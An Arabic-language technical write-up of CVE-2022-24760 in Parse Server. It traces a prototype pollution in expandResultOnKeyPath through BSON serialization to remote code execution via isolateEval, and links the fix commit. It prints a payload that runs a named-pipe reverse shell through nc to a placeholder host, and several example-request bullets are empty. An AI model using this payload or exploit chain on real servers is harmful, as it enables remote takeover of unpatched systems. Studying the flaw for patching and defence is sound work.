CVE-2022-24760

CVE-2022-24760

---

التدفق

• الافتراضي لا يحتاج إلى مفتاح لإضافة وحذف وتعديل الفئات في قاعدة البيانات

---

الاختلاف في الالتزام

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

• يحدث تلوث النموذج الأولي في الدالة expandResultOnKeyPath

DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath

• تُستخدم sanitizeDatabaseResult عند إضافة وتحديث فئة جديدة. ومع ذلك، لكي يتم التلوث النموذجي، يجب استيفاء الشرط عندما يكون __op الخاص بـ keyUpdate ضمن ['Add', 'AddUnique', 'Remove', 'Increment']

• وبالتالي، يمكن أن تكون قيم النموذج الأولي فقط array أو number

  • 
  • 

• مثال على طلب مشابه:

استغلال Sink لـ RCE

• قبل حفظ البيانات في قاعدة البيانات، يتم تسلسل تدفق البيانات عبر مكتبة BSON، وعندما يكون _bsontype هو Code، يتم إجراء serializeCode

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

• ثم يتم إلغاء تسلسل البيانات للوصول إلى الـ sink:

• استخدام تلوث النموذج الأولي لتلويث options['evalFunctions'] -> تجاوز إلى الدالة isolateEval
• مثال للـ Payload

"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"

• نظرًا لأن تنفيذ الدالة expandResultOnKeyPath يحدث بعد إلغاء التسلسل، فمن الضروري إجراء شرط سباق (race condition) باستمرار بحيث يمكن تشغيلها عند الوصول إلى isolateEval